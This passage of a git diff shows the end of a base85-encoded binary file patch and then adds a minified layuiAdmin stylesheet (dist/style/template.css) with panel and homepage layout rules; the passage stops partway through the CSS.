z5&~`%DNdb1l71$p2vy{(j&SjnzW~lSa4(RY++as#elbKyUmfc*G2X>c-@gNooUL+0 zjbp{8#Ul?{FrPBioiYbEUObnqy=couFhRGjoY-~lgFL)0E{@Jn7=)@YtU?N`YuIDF4Lt1$j74ToG+ zeC85t>xF%BGs$4Ux9JjD>3s0xF}?`LC04;)s~q z81X%x&L<}{65h$P)96_yX4On2HA}Fvw4*QtyF>v85BN?_uQ7_u0$@G!KC}P*bpEE) zl*D^IrIx0Iqcv^FV>N6aW47f9U(i_q!U>ZJy}yL?_64*SyQFA-z$5DN&p?%>YzhRm()OxFPlExwK!ic(hrCPrUwi| zG-+wR7m`hf8>ZOsni6Zx^dbpdr&FKOmPp`IvmMFw)2)q8M=2PcGoIKR+(G$YDp@U~ z?guF5Tjo1m@9uLQBBO7d1kU(9Wbon2gP^NJd2TA1BlX^a6;lh`@`Up7ZLMqNoUc_; z3mvI98j43N#}}_|HWjp1u(f_|m;n*ysnCqZfsBsEmrBSCH?2L@-<$8&{{kwle(t(c z3X_tT#Z=7>`ogDutb_jo-fFLP2JmQr7=m9xlUj3~*9mQ$l`bGPOBkzOZCCPl3@BBq zr_LUITLwe(27|{YMDU@$WUyiT4XL!e=JX=b{8sgnwvL#EglZri=SVR+SWwaeeMe&`a0t29->(S%(U(y)CUQ_*qTSr7V^kDEGsBK7UXMfk{ z#Aj^%uuI428Ps_2Y1(+i-D>mR_Wo+BDx! z4@U}~@?^eNw4PktJV6TgySCD(P_I7TS2T3tg}}YfrXazs#0M@-bMBeFfGNTeTYz{x%tXxg#fms?fcX%aW=qtFJT1kDhie zuv0ma>tJEhQNpaDlwl#9OeyZ%m!eR_6ml`xzTbUle=8;S)8j=T#lcG`T^deOc+IVp z)W51{$Db~$NPizdI)ymL#XUDL>n0U=U+4xCmDffyqh@t5XqS+BI@8T}n??CDf{*x$W?|-{rv+ z8s`;aq*2QzB0w{xqB?eKn}$!dWWEp1Je5lv(fg>B`==G4pex(QF#PsoD9E|w*wyiE zDwa>Lsa@yM(Qh? zq{qLP7!Jej&sgKI-CYBeOTGYy7m3MoQfr|jakzk_Wt~>%c85D};;6SrX#BP3vdzU( zo&N$_EQ~aIy&h=>k_%#rrFcsF6zLD&5$)wy5+nt@{4B&5rA}oqO0`7x8cV;}T<=!r#1~a0% zeSfSqjney6K(1mA@Lg4Tjy9T=62p9`q~r8;?fc zUF19-{4oJ-b98~uRk6=tVZs}66tF8tDp zt_m0HtWQj>--Q*wg)!k3Op``Tc=LOj!;rbhn_BTEZTs>v1EHPG27U@Hs~OR)6hG8k ziK$$@a)){<2~)3inZupY23zL zos`PuMgb$`vl|g`XKK$44wt(-167P+Q7uw}Kh?6&ldyMzXzv!a=F>C2MNYBZSAP)xJuKk5uCezNsT8Wl|Q z)Y3JRC1grmu231lCYml;lt1>f3-mBMCftB@|Fc7O)kz#Je-mxt3$I$!Y|oU zSgj3L>|aS}ryf#~*WY}N8yl6QCCQ#bE~{?Jti?slg)Sh#pl8Y?UjQVFQwcC2d_7so zfxyF+Rm3KX#lyi<#>K+G8)7{xLPyijz&yZ-B$%6h2Dw9cz=(k#xY8(Fm6doIfptc!XEg)ambmNY{>B z5vi?;*@ypb5xN?hO<`-M`rSQU9oZo)1bJ^7m>r#sCDdMXHWDrl#Chu}DrJt85d>HSbxvtQhKR)j~h;LBw%!C5G(=7gclb(Ua~ zcNtr1knqyK_fMHU%E=LNOR%+3VU)9M_Z8V_m+fMPU<+73qW!vNM(2fdmP+Hza_~_y zie8B-=N^N5$Td?$)0t-$ z`)m%Q0-0f%MSbtcpzc1M>UOKw8mhJj#c6~rcw{O1DsVJ>1-L&RU(_%un~Ih`rb>WX zpUw-OWp$UzR&=I+U$ES;79G>87i_IslixV8v{WS6e%eL=jU%iuxMXFyttJ65b8A3< zMpE?dzYEh>)FY)KlKBklN5r1or9|x`cg!##9kvUq`zZ8EZ$vCu#pIrhTmTF-@%sy~ zOXa;V{(x<4q|_jzbDk?e=-@UnAr51bx}ad>p_U@o)M>M{_K~6`g5ChR^nOy=WZQ3!p7p$8UVz5{j&*yzlmb6Qvs!*+g)9@)& zt+o~=46^wPnB}{NyUOfgc9If`D+4_T!#kdus%IXwJAY`D<)=J*cZ(7zX;V46_w9bV z8EC7lNw3e((3jf4!)p57ASLB&HEVVn+1B~PVPC*A>{Z_AVoJ#GT4+#<2Y-t7mVi&E z5s1UNp4fc8W5ErBrwr}fG^Muk7U2J>iD3QR4MEjO7*}}hQ1ZlD2Bbf_0yaST zMDRO}hG(CJt5(@7uUyl75DSmw@5w<1E74-D6;0qyaJBtNRDh8uY;|&#XkpE8#{GTE zrt3F}jvv?WHsa>{k2u|CX6g{`GHbs+d=o{D3%$3k;mevp*s*2SXH1^GtYpD+ z=?ef3*G&dm$;y%q!5nuW5#iyt&Dk7ypP3k41kkd=A%L{ts2z_qJBe0|Z)kkYX&yzQ zDw1!CU06HyuETXiP0sa*ft^+T{px=KzAXl38??2wKC_E5&yL6hLVb8g;ie*!x6`1iWr_S@{rCvW7Q|% zh8%XG1JU)nr}QlGnKEtysU=;Lo<_d5xc}^e>wRve%MF}r7*4GI^B02s1*~byRs97J z6K9Cv*{8W~oe5P85d`N@1bOeLctwMkrR;Yr1L>EJ3MHI)(Rvdqa+Qm;Cco^1K#yi( z_z2acF8%mq>=_S>Uz0bevE{K??chBeke;EAYtqI`qm;<}`uOg1xZ0ype>Z^?%a1Ox zMV8M3Ojt_B`cQY(lzYLo3r5KPMOQ%s+N5Lu@}~-ITYk0{G;i;eXZ>QKd{^DZo0FQ^ zeP7&d7NTPUyDcMswX&MJ25`hyUwZ8Mjf;oGuKUS^d&kf!Pp#_5@GarDDN^5*{sN%e z43?T=|Ly*CdQyOZP=Y6%yHRdQyT>_yELGJjH5CCi8?t9j%;~9;q-w&V!;D%+VwO#e z%V=N0=_76fZkqNZfI8$Hi^9j;clmh0 zzkn$@TD;v_Gj8_Bs_*Vg*_f`k_JB01tx(jW<}2Ob^j>%2_w=?q3=(W&W8va&x79*QaImLGkr3NP*@*>BV82YW7Cm5nJ%L@K zXDU7^QATT<1M^gMVaKyO6(ET|Wq%p93j zp?Ce`%fWPEau;OvnJ|4g# z0ES-k>C6&_f3!%4-iaz`11`Hmq@=3*rM@DJ`#B`iKh{r+;zX6ih#IyThnnMmQ!eWd zX6vMp({iDdLxeV)xet0XkfD&#l;@S%>&6Y@o;fP&ybmF+rTu1Lj?I!R`FpJ9xvzK4U^M$ zM$IXWVd$6apwli3Yka^VQ|LG8K>L=!i;dF~HN_fS^B$EzD|MKB-s@|FIP4PRIH=b@*sevHpqExg z1Jola(NE>VN2|0J5^dtf&OU%dMWf;FK#0iXv~X~-)QI#jqWUWF(Y+jZ`DXFOvU z1K$hRGjL@>`QmdMzo`#}rXfZXt#0bB5wfvQlN~-fLISUbRd|PkphT9HY4U8-?^L^5 zQyO!Bi8zWX8Pxt_?isY(#eS7u6dak|fW?MQvf3o}>WI^7gsyxlP8jP=#<71Z%K}cT zG7unlPNy-T520{MPi`|X#6kRS5d8~SATobk#3S8c?Y7k7NKiUWY;psXNd{V}dWITz zVdB*Hud(l5W_n!balsV}W3vj!vq-e$wWbiG^X`;~Z?5J0yFX-=l*tA}MF)Fpd-QjI zX0caD>+A2voWG1j=P@hcMjU$o1w5(S+>$$})(x0kyd&#Z(r|4EJ3_e0-yhRRL}%43 zF~0IQyg-Q%ofLfCxAEgK4VBk58{YgVbIaVdSP+yKF{!19g5owf+;ZUGk-(2-9;;R! z6Fg9{<|xiN6jb0i|B$mDMAzsiUUbJsPOM8Qe6Kc5X!PHIuAR7gogqVXyd~K+&<=z< zY*|M?C<$}ZA;(Lo$S6z2C3lIlMftLjjen@(n&-04mugT9GD#e4Iq0hd(fC=l>LL8J zv}wxgN6uO{Y~G6`wGCOe$erpw*~w+dZ5H40^wC7v8EQ*~i|kUr=w0S(zf~6zaSqa*cF~#Jx2In`C{{sZySfeQ zkhTK(y1k-G+1FsgKIl`o)n2mLIBeCzpyA3zU^VAdk3;_O@DqUElr z^;+y4I<7yE2OF_pUl$x`x$>oVC*++38xt((IP^m#A-{+(NB*0!p@cSM8n&JL7~0?^ z{qE())`zNP@au|U?OKNjcr79cKSCTY+Su-l#C<)JUNm?Y#=}tULbEvfyZwE}N^GECU!ZMp z(aal0+fi(UXKIy&7^-~4DXIvwYrKh}agem`Qf#HR2KBz_f+}l{tzw^CLmFrI-lii{ zD2%ha_D)?^R3(<`5q66=4>DOxvB-W_eH1^FIZvf7jFvXQ#KGT~y}Tqj5*-R0nacJQ z^mCfHmGTCC^xeR^#9Ev=!O%6EWLrm&8j#OYpKK_Ee7_gcMcxV&G5paa98{1|qFI_} zEsX|Ep%2W)s!AD_mo)pr87itW9}X#9{3rrv35m=G@sxW01FRLF6Da#KZHMxT2NaU9 zG?xv$p&2ybH&6=F6;VI#qvB3SSXcQC1RNryfRWEOj05YFYK1>^pQ@66=-T|CW0?4& z{IOIaG`eo!C0_LNN%28|oUS{jZCy*iVJB2PCT~DzNeh!MJUaejt+2fII2ah9U**E5 zX#JBLYVsFQ0062B!EXi8jW0ZQ4Uod;HV`$cIj{OrlV(c8PfTMrcvQP#)iwP!pV!k^ zpbQR=qXdKsaR}!q0}cLwF;ZG>b^0;%_NvHnX5kF>jtblpbFXx>0^#tjS6*!%irBvm zM5Yr+Ax-5j)6xiX1I`iFL#HZd;S&CuI*flS66D;q0bPkE?7GP0TY+{<1{Tb(puE|$ z@ci@PE=x*9yf7-c_D`s7)rt&b^ts^1Q{cm@PqhMCf* z@)QcV)%&yHREx~l{KBmj+YeaROh`0xt%b+L4}N#;Yq;$`zFt-rb7ZYyoT5~|xyySD zg8i~-mRhK=P{5-D`=_kKAWXGtf_{q1v{WY2!I`w6Y)cb^f zeL0%Of`@e)Hh1Xz|8~7EkH>z2YE4XeZ6g;}?=2N{7kB2`dz`sdUc^~#X-AKMQ8*}? zekDtV&d2MF?Nl@a*jl$YTeK2$-fs)#H3H#$b82kyu86&f2ZtWF1CX~BVjbmgXYpKJ z_(z__<48pY-tu+v)+Em+6y?+85MZcpRPe673;vm{unI&WO17E^sA(MC4xf`m6Vfm^yH!pB^sjvjFt zkn7|W=N(Cm-_>~tPTz;AN3VJe2kcnEKaq75fr+PT?8Y~UT46UI#_yQkZhry0AGvHm zOzj&C_^4S$?i)F>YxXaor}gf;QfLCSLMwaggq8Qlu;u3fjjOhENj=N+$Z_pgJ*sHCIT|o8lD33fui9LW<-XhNvcm=VFP#g)4MP~$9t$7jnM}u+X zDYi<<14dNSn?hZ>N%f5`w?rZrWp;82I!7fhDW?}A;AbmlUgmcv#e9ph>te*wO*su2 z3Z5>}<2REUdN>#^4R?j+sCjg4XWsYU&gaHU)}9+_kGs1mO~>eCv#U|;Ka*!Vk_kwnAf?Pc?8({fgt)Mg>aFX^>U}zFXa-&{xTRVRiLxaxVE__ zO{lg%8*P4<#58XbS{n(BrK>M!i0Y)Pw#zTCn(+YGX6x(L3FFZAMkk!|w+7d2D*>+w zn(v7TG~V=t?IdiENH>W0e>kYI3gbhY9yIT(*Jt_jJ$an3|wlruF}M*@P5$}DNsmj%efyh^66CHQe#tH{RK`=B`-OCHVV^g93 zpxTS2w0s%WUsYD)<7+v8DJp;D*V8jt#|IKF~?CWq$HOo@x=+P

?h3^UOi`{sq^&;ia{z<`(g&UV;R|Z!<<9yC$G4COw8(z6A zghstdTmLh<)V_k#ZSz6LV3C?|W6$8bP_X4e4qrLSDTltv7uH_2L~Ss8K9tb{)K1Yg z`+UU37pgyn7eXOf;9Se<{8fxV#`HsTA;X)*KXY&Gr=%=?YwU)qnbf#Qu93gGZy|xYhkr09 zc+j91)L%hRnEg=tgYsyw4|VCE6l0##`&^mqMYg|yhd+(RD>2vPxpe0c4wDw;ta@Rt zT)4N|nU|S(hGiwjq0^1i)VJ0@ytY~`#_Jj*;%ladscPf=%a1+$aewMRmkAq(tSDE^ z(N~YqnYkERb+IZF*ZY@HkCu$CFM?M$SqiD+Md0eR;OLu{{=Y;o4&MZc=70EMwmuo4ECw27N zV2%dHJh0o^IMd}{z@LgB{cw4ri3(*1<-$vXi!A5_&g>UK*p-k+2jy(_R z$MRO-Zr2t@;1sDOO5LCjNs)VYDY_E%qB_JPDoB@fU5x;`Le`v0?CXe(3diH97ukp+ zDn!qWFu+SE@x-NrxIlK|;#hR8%%8`m3>gMH@tY73jP?EjCjht0Ov1Qp*9jFy*XN}p z_Ai>^;mbA<=|GptO}jzT;=h1BVv7Dlhu>x?@)MzK8pPV~_=X#OrdjTwh{UG}ld$Tc zxk1EDQCOvmUT$E^4mUg~W0vZ)J zpqXw69{h;qLZ%Q~4dOmN7d4i--2*=`-imOyZ+u$QucN#7UVE;})X0TeQ*c!tR8{_> z@8z1E>{PGrzV1WAoz3S{((cNrb2{wHRkM@u^pTikKlrN9;}VU?4B+{ey|<82CvRvY z^OVbAta=h?afG((y-pKmRnu^7Y=x9!Yo2coe{V-uuwWt8uGg2~I|bdjNNcP!BwF|C zF*Y4DXGu=wk(O~ffP)fQxTax7z+dzoN&KFo080xUpT=?%x08PMUw)JZh1PF-f)cu? zQw*15=!KjC*h2?(n=%z#pQbfpjJvwfKIrQ&=*F~`P`r7{yhKzGr{+R?7j8MZIP;ca z_kG0p+^Cv5GdV{aVkBLe#$mElf@dwCGrw{M*wco8(;JUGdr{zKFy~FMDbA~R|GJo! z1YYgLwebhJqG)jZnlp(K1fVOsyuXS3> z_oxs(KTCf|yOUdf`ODVPA=`VSS2sRT?7UUb>T*mwmhy)W!Nn{57Ia0q`~&GS*1qCP zsGcDsgP>juzy<}^x%V~{HKkQmqHNh^a^5$lvSef=tU?q>AodYSJgGFnYQ1_IS^0J0 zgE3zLEatFCZ&4cH!nxF}MMx z6*g)_PEz4z(Z7qpa*G~ zX(4csecXJpxys39=kvu|rRNZm78e{orulEDIt@6s@+IB-rWD^PXeE}){;-ePgn>a8 z)Rk*3Z45iP&&BTkgmffwwessjUqG}*HpwmAl7*=N|J&@A6Ly_(1obD6Pbew8FLf?- z$ZF*Lm+3|+D(13Z-TS^J6ZE@iTaaTVrBIn)AsY4RuC=gGm{G>3d6Lf5i;K^b(nitM z|FQU7N@I29-EFh=su99mWi>tjpKh)+25NjC+E|>DTq#ybGQsV0*liI~n~EiWmCf^u zTZH|Gy`ZH`N0xd0DHp<-HJA``4rz3|;D@egIq4?Y6Mh5mn`%N5)-J4UYy!RJlh=J& zge82GX@>{zwXS}NKZsuc7=*|*E`MBWRw3waHVsh#LKcrUb(vQK9SzfsUrqtMVfoqa zKAKEVqQb_huSVBI-~J}k1nYukIwW~r2X!YE#=VkGVe>JG#G0se4eYA*S2_WB)*qjUg|F& zl1P8bx=tJ~5~bx{AA?F9Tq#3TROxfx`DV%_dn=iZAjk!!5V%zQ`oe2+^yTK^9ONE}kGhfW@Cc zbLldy0*ecG=GZ5J5>{(hg$+7?%FN%JJ|6r0aGQgRo4VxNLTiYu!n|Rv$eEJJT5Ekneg2=-N?Ln# z%DECT!~;ev2_eLz(xr+XeLXX!^-ftDsn_1I3qoZ=O}&NgkzS#wi`0fY(f2xFUXIu? zH<{LNyguLfYFfq#>dqsnIrH_qOuUnV0l!PtW;usOyp2!ptiyykQbDY z3}LoL6)4!LmL8K#4)-k3{DyuT*a9^3^nf!v(C%|w-4UC4r4efja_dhx4?)5 zs=Ysg1zs@2?lsM**gbLsCh2OJt2d>dGjzh;IyK{|abtmaIFwF>r0>Me_Itz28Wuo8 z*ra!^{JX;}md!i1Rkw^@2(A`tn|F6pPW>GEDjHeG%c=X>rTMAJ2&?&diI>nM@87b1 z{4YBm`6y~(YZWg%ch6yF9@n2ue^S21p3#eJ^leP3E#G7lyR~tbmNi`wI~VpHrq41t z=st{IGSh{#fVc5hzsXpm3D$~>FbFc{vo9OIr5Kh$j1H{Yp<-aVfVAD@j!PTYR1_Z|w zdY6R#qu|M^u25yE#d0iJVQ*RLom!-6yJxVFMStPco!6X4U6qZca)c>5MTaIP4;mX5=HuE=%q*nSdP0@;-v3}IP&J#M z@@ji5#;`gKuirMOrOwQ@)U6iUz#283G)$j&^~e7U&_IwWXRADpMHVxFZTv-5&JZ6b z8^!b4EQ6|a|8wHL{NwHN0`a8%Np1!3@5o}Acv)9>ugl)M2(!sM zp}BJgO-6vd@68>RjKno-x(z_r&9oWwl-Nt4e8|jQi2H{3@5V3YD>pu~QAAP&m8PSY+sbZ~QD6m$?O&oB#Fd1FECZiwgEU`j z%0syw(fHHCLvga#AHC(iXfAw$B!^?aDD(=>ZeqJi3Ve4}@J0{#+L@MC1$_uDoGdI7 zFZl^A`fCcdpmiCSY_kQz>x7S7g6XTXI<^==x>2{G(^6(3@v(&C`3$9XF^rq5But$y z47N8Xu_$n6wHF3IdH6T1Ub%AcE4rs_7ja}?YfTXe(rB5W)H`>b*^p>)x@u-3@i%Ao zlhDKn5MXrnS4I8>2vj2O?umkjhR;xe11)J4iW25UE?mqRN@T0DME-6*RWWrci#W}%}yKCyY_>P zD=#073FC8FCe*@}uan;ZW;y5PL>tK5$bKix7T9`*ebGIDUQ7`)V4vsZ5n9$JCAW}f zJc25)k5LoDxaH|T_m1nBUBYkqA?15|A&$n40hy)) zZZks5>~zvgk#;*swy%;oEgq5dJg;(LgB=2F`bo6vwg#hs2oLw`>BuDGXTaM{JV}{v zr^14%z>1A;>(3-UGr`Cxtu_m^7DIA0^_o0Y$8O5Mfb*qdYzVn5;gkG`1AeLALQ=Za zT#}%}p^h-vi8_!E@WoDqN9yaLLznhjWtR0FE%WpK9yudS;lH#&~@TeFA=&&c4i zbUa)?+E2T7n1!%3bkwEh)Hbp> zTznaWfJIK_K`5rDH_=KqIBd>L^(vJh@$iE#^@plaa>WjT`|fO~b!Bm$)!K_92r=zO zhlaB-S|YzNwbi2ox8VIt*Wfa?NEIzPv$aoly-bx5n+w7;eRiAwZUm&Yv1dcyuhhCfF~nP4&*$VeP8*9uS@XXo${pTL9nOx78Fw( z3aSR*S*ONhK}ufzE)zUw@N33nWpnt~<*8+ztKN(G`7Z}cSnNL1Zv0#OX<`uJ0h_9# z#GWBFqq^0T1Q z1&UY|3*gVx=$-^-T3PxW?{eQDR~v|RNp{M|B;1k}uX&1!=*i;FyS*QMy(~)2MWU)M zRl1dR(8#bUpL3rt?fhML76Hl~d9Rl-8*7&5U6A774BA0wfqR}D>==aim(LHDgEY>x zmV>lQ5Exp2EPbT>PfuaCso9pp(H)APJq&znfmdnIo|9fDzSORjq6EJbSH<$_u70yC zk(uDQKJ`FV6U%I9RQA(!NP)XNpBcIABrI4!6Z>a<#}xV(-5W~bbl|i#!l{OKi(hiD zt36|~S6O@d{(y(nSwNoX%TQO(zkt~Io@eKtpLU!WHlHa{FTTil+zR(~UkF3Wq#;a@f&JzcuLq8YNN;@v@rF5-r!X|Ki~?|$c8})E zlt!CG${$mFxJ2^iD)>6Tc)6EYyC;P*xJ2sx25r3*pE>deqBbwglD#2(i;;o0E}L%nZYG38(`D&C_~X}7A30w)n1 zC4Z4_h>-01K#JMKH)6nQgnSe;Nbc`(A1e>nL_Accj>)af6-AH zPf#@MHJ2DxWess64nfvpEeCVQx27 zb6fS?7c`UIdXCR?n{Y?_@};ef&n1Lo>Ne#5=z3z-RPcSg1*>cAJn;`eI13Sg6a*H& z*0%usBjjb84$>RVyCKAOmQD6^O^HA0GasfjO;%ia?2V`!oKv)#7eh*FBxcb5Kk%h2 z-IeBijJKaodv|EPHoVis8Wp`Rs%1M(!p+4SjDQ8C)3kzE9#=Mz)L4?|viIc-_m-7o z9X`g`ggs3#aKKFiC#Re{*xRT>CT}b#9zVf8$0;K%Y3zg#dw!;r@h#3m z2aeWIy{jAehGD9fo;e7xH$QIb*H+e9qqVJ&+DEqGzY7PfSIwzMQ7qr2*`NDYUj`X@ zc{IZtF4=ucQ*~!hvElonr~XuD!*77JErLTMUk1@5nTDPoEyBu6MI;bQDQPSY1UvrA zZ=*r{N|KtMS-me+wx^ZY0#41pYy7UPJ=J0M-hLB6Y4lpS+yLJwk+$$fh(9-5*5oWV zLF&$Ql~k3@5LeUKOv_t%97qTITb4Kw2)0)zEY?mwNvwtkdV$j%n)@fxJH^f0$3&V7#_0>nAH04*N=Nxy#fUWW|U4*vj;HGyV% zX5GI_MT2`LT)D4dHopnMhFiRn<^y7pyWC#lJ-?-+m9wEFV2N5CVhyZPN;kQ{x0~4Z zO)?gOK?H%p39XdvwX8tMKuXI31MJhyifh?<97BO=b^hu2nW2whVBP+Frpn{!<|?7bE8i2E5)$0XLD>KeB2^)U!5CcWKCEK!0>BKy4%wjskB}0{w1n zw+90sWC*E}0l$zx(#IR8FBe!vxQAVQLnsZFO^0zimG2h2#`_?tsiPi+L}ExzbCGWML00tRCv&Pac}!CC=In`lo9Z@^t#Bz=tI|5Yqf`4p1wVIVE zm5z7?&Snqay3A8a{5Mx?z#ur-tLhD4YE)$0HerW?a&g!y4Pn2{-q1l7Afqnk#&&g- zZJh63AnRh*clK4GuWQ@xBKG?gHiJ^ijW`z^?KdB?j<69s0R%MI*mhU+)7*1%OqXcE+r=D4h9=l~nI6acc7;FZd>tXpj@xX=wEp2*Y@{ z%E!S|vDvyYwI`Oj16yp{P{{(0SA4AfCaJUl=Oe{%aOE2-j)fNsuWxU{7*5mOHS@Kj zlqW)6>7KzOV~C%mD(BZRr!EK@{-chX2bMc?nma4U46^D)Ol|2!*HXtOtN0J6bS{poP$7ciQxFIEWnIufp^`gc)p7wNS+{^a|!rIW&>Du0e z-LDeqvwI^h%jn*JL%g(}4`n%ZS=-y%gP#Mbb$VGvO-(a5GGH-PPx^zu>S*W6+~~FO zS5PuYWDj9za}Rx|i~j(n&NRI;eJY-}N~oRwlOA8P*K{L+D-Utlj|#t~`j(@nb%s+_ zy70v*id@`nCj@`Bo>+NCd12)pp*G%EqLH%3*RY2*z!s6g2ZW^Ma(~Aoo&F%texiw) z_Ci0&S$8bKd}D*%AnftUf}W_W$AIx);%sMtRiMT ztck|YO@aRa zkoSs6+R^|dUg|EctZTZ8R)Lt>7^@@oWM$)Z&lXtBx^wa6`pC9^olj6f+AnYHgrBD% zkOIxY#PTe1gmjgSlic7)!Adncm|bGSbZ%d2zBk*_bgfW!*kA7N+RAt+I*N}l$|Pw0 zE_Ksl>Pev^2Ht$48P(U4?}*&;J0nbePIEqe=Ya4m~>UO&P0Q0u-n$;jGvpNy;D{a*h7>YBGmsL|@bF+@y| zstbC}m z#hsd3^p#0uPGPYl7FRm8gkn>J#g!b>B}~q z%QL97HgZ}QA>yxd3r*6tOA(wW?`wsUwlGj)Y3(TID#{3+2X#`&i)>nKtZ8)zum-qY z8cy~!MoG2Sb6KsLp0vc-cC<7Sv@WX*jnW$c2P+w=&g#0!B?j%dAGgZt_}Fglw8Czq zmT5?K_vi1(Lx%f_Ci}+Q_V`cS)&NVr%^$UtN8I6epC-c}3((Y_of@A?>WN!SW{yE| zAJjY91n0Usak<6R@?tqhANx;)ZmCN5)V6qRWFUtF`p1HoMr>{mjjR(ew$G<`{Kj`6 zc5_r+vb&XG({*orb2W`M3@swEh2QfT{{Z$zKd5*`Q^_Yr>TIghh^*49n})lI8{MuQ zoE2L%$LSi)B+%9vsii;gm7IpV`d$8tuc-o;mUo;vzpe>BK;rzYcUV%zNvOqNLjBYg?B5yZVf{=$Be%j1Jwfs5 zbu3`tOHc>qA^w+kcpa2Nu6nMYl9zaJjlspFc;Jto$k5ZR{uOlr)jECD6FT$IxHMek zu<`!@!rOkJxDVmJyZjrhDYrXpRX@p+{vF5pUGAb!N*NwawltsY7cO|~Cmwj~Cn44< zO;)d1T5erX>z{x~AL#@EZ`X5dFHI|~^2--U<7;H(l9<;$%{z|Z%yIP<=t-#_mNQty z%q_44lX31Rx7jqmbGHCS+&Fnmkhp`s-~s_Y6t6kEiMSU8dHGF6abu$qwWY4Vi{A;6 z$k>S^^y3}V++4_-CH8nDl^dfDYnmSMdt%55UiOw+z>r7AJE7V9%IOP905-t!wl}nZICE1jOwMhKNWUrN*L#_|;kmbxqa$rb;7JFM zlmhQ_WNrI$f6^E<6DPLhoAKco!Fd6=Z(b%7 literal 0 HcmV?d00001 diff --git a/dist/style/template.css b/dist/style/template.css new file mode 100644 index 0000000..822bc51 --- /dev/null +++ b/dist/style/template.css @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + .layadmin-panel-selection{width:768px;margin:30px auto}.layadmin-panel-selection .layui-panel-window{padding:30px 50px;border-top-color:#ddd;text-align:center}.layadmin-panel-selection .layui-panel-window h2{padding-bottom:15px;font-size:18px}.layadmin-panel-selection .layui-panel-window ul{margin-top:15px;text-align:left}.layadmin-homepage-panel .text-center,.layadmin-maillist-fluid .layadmin-text-center{text-align:center}.layadmin-panel-selection .layui-btn-container{margin-top:30px}.layadmin-panel-selection .layui-btn-container .layui-btn{width:100%}.layadmin-maillist-fluid .layadmin-contact-box{padding:20px;background-color:#fff;border:1px solid #e7eaec;overflow:hidden}.layadmin-maillist-fluid .layadmin-text-center img{max-width:80%;border-radius:50%;margin-top:5px}.layadmin-maillist-fluid .layadmin-font-blod{font-weight:600}.layadmin-maillist-fluid .layadmin-maillist-img{margin-top:5px}.layadmin-maillist-fluid .layadmin-title{margin:5px 0 10px}.layadmin-maillist-fluid .layadmin-textimg{line-height:25px;margin-bottom:10px}.layadmin-maillist-fluid .layadmin-address{line-height:1.5;margin-bottom:20px}.layadmin-maillist-fluid .layadmin-padding-left20{padding-left:20px}.layadmin-homepage-shadow{box-shadow:0 1px 1px rgba(0,0,0,.05);background-color:#fff;border-radius:0;border:1px solid #e7ecf3}.layadmin-homepage-panel{margin-bottom:15px}.layadmin-homepage-information{padding:15px;border-bottom:1px solid #e9e9e9}.layadmin-homepage-pad-ver{padding-top:15px;padding-bottom:15px}.layadmin-homepage-pad-img{box-shadow:0 0 0 4px rgba(0,0,0,.1);border-radius:50%}.layadmin-homepage-font{font-weight:600;color:#2b425b;font-size:1.2em}.layadmin-homepage-min-font{margin:5px 0 10px;font-size:.9em;color:#afb9c3}.layadmin-homepage-pad-ver a{line-height:1.1em;font-size:1.3em;vertical-align:middle;cursor:pointer;background-color:transparent;color:inherit;padding:6px 12px}.layadmin-homepage-pad-ver a:hover{background:#5FB878;color:#fff}.layadmin-homepage-about{padding:15px;font-weight:600;color:#2b425b}.layadmin-homepage-list-group{font-size:.9em;line-height:1.25;margin-bottom:5px}.layadmin-homepage-list-group li{padding:5px 15px;border:1px solid transparent;margin-bottom:-1px;border-width:1px 0;border-radius:0;background-color:transparent;color:inherit}.layadmin-homepage-list-group li i{font-size:1.333em;line-height:1.095em;vertical-align:middle;margin-right:4px}.layadmin-homepage-list-group li a.color{color:#337ab7}.layadmin-homepage-pad-hor{padding-left:15px;padding-right:15px;border-bottom:15px;color:#758697;text-indent:20px}.layadmin-homepage-list-inline{margin-left:15px;margin-right:15px;padding-bottom:20px}.layadmin-homepage-list-inline a{display:inline-block}.layadmin-homepage-list-inline .layui-btn{font-size:.9em;line-height:1.42857;vertical-align:middle;height:auto;padding:4px 7px;margin:0 10px 10px 0}.layadmin-homepage-text-center{text-align:center;margin-bottom:15px}.layadmin-homepage-padding15{padding:15px;margin-bottom:15px}.layadmin-homepage-padding8{padding:0 8px}.layadmin-homepage-paddingmb{margin:0 -7.5px}.layadmin-homepage-content{margin-left:15px;padding:0}.layadmin-homepage-content .new-section-xs{margin:12px 0;color:inherit;border:0!important;height:0;box-sizing:content-box}.layadmin-homepage-content .h4{font-size:16px;font-weight:600;color:#2b425b}.layadmin-homepage-content small{color:#afb9c3}.layadmin-homepage-text-center .layui-icon{color:#FFB800;padding-right:5px}.layadmin-homepage-padding15 .layui-col-sm5 a{font-size:11px;height:auto;line-height:1.5;padding:5px 10px;float:right}.layadmin-homepage-padding15 .layui-btn-normal{margin:0 15px}.layadmin-homepage-list-imgtxt .layui-col-sm10,.layadmin-homepage-list-imgtxt .layui-col-sm2{background:0 0}.layadmin-homepage-list-imgtxt .panel-body{padding:15px 20px 25px;overflow:hidden;margin-bottom:15px}.layadmin-homepage-list-imgtxt .panel-body .media-left{display:block;float:left;vertical-align:top;padding-right:10px}.layadmin-homepage-list-imgtxt .panel-body .media-left img{border-radius:50%}.layadmin-homepage-list-imgtxt .media-body{width:auto;display:block;overflow:hidden}.layadmin-homepage-list-imgtxt .media-body .pad-btm{padding-bottom:15px}.layadmin-homepage-list-imgtxt .media-body .pad-btm p:first-child{padding-bottom:5px}.layadmin-homepage-list-imgtxt .media-body .min-font{margin-bottom:10px}.layadmin-homepage-list-imgtxt .media-body .min-font .layui-breadcrumb a{font-size:11px}.layui-breadcrumb span[lay-separator]{margin:0 5px}.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor a{font-weight:600;color:#337ab7}.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor span{color:#758697;font-weight:600}.layadmin-homepage-list-imgtxt .media-body .h-img{display:block;max-width:100%;height:auto;margin-top:10px}.layadmin-homepage-list-imgtxt .img-xs{width:32px;height:32px;border-radius:50%}.layadmin-homepage-list-imgtxt .media-body .media{margin-top:15px;overflow:hidden}.layadmin-homepage-list-imgtxt .media-body .media .media-right{float:right;padding-top:10px}.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline{margin-bottom:10px}.layadmin-homepage-list-imgtxt .media-body .media .list-inline li{padding:0 5px;display:inline-block}.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline li span{font-weight:600}.layadmin-homepage-list-imgtxt .media-body .media .media-left{display:block;overflow:hidden;width:auto}.layadmin-homepage-list-imgtxt .media-body .media .media-left 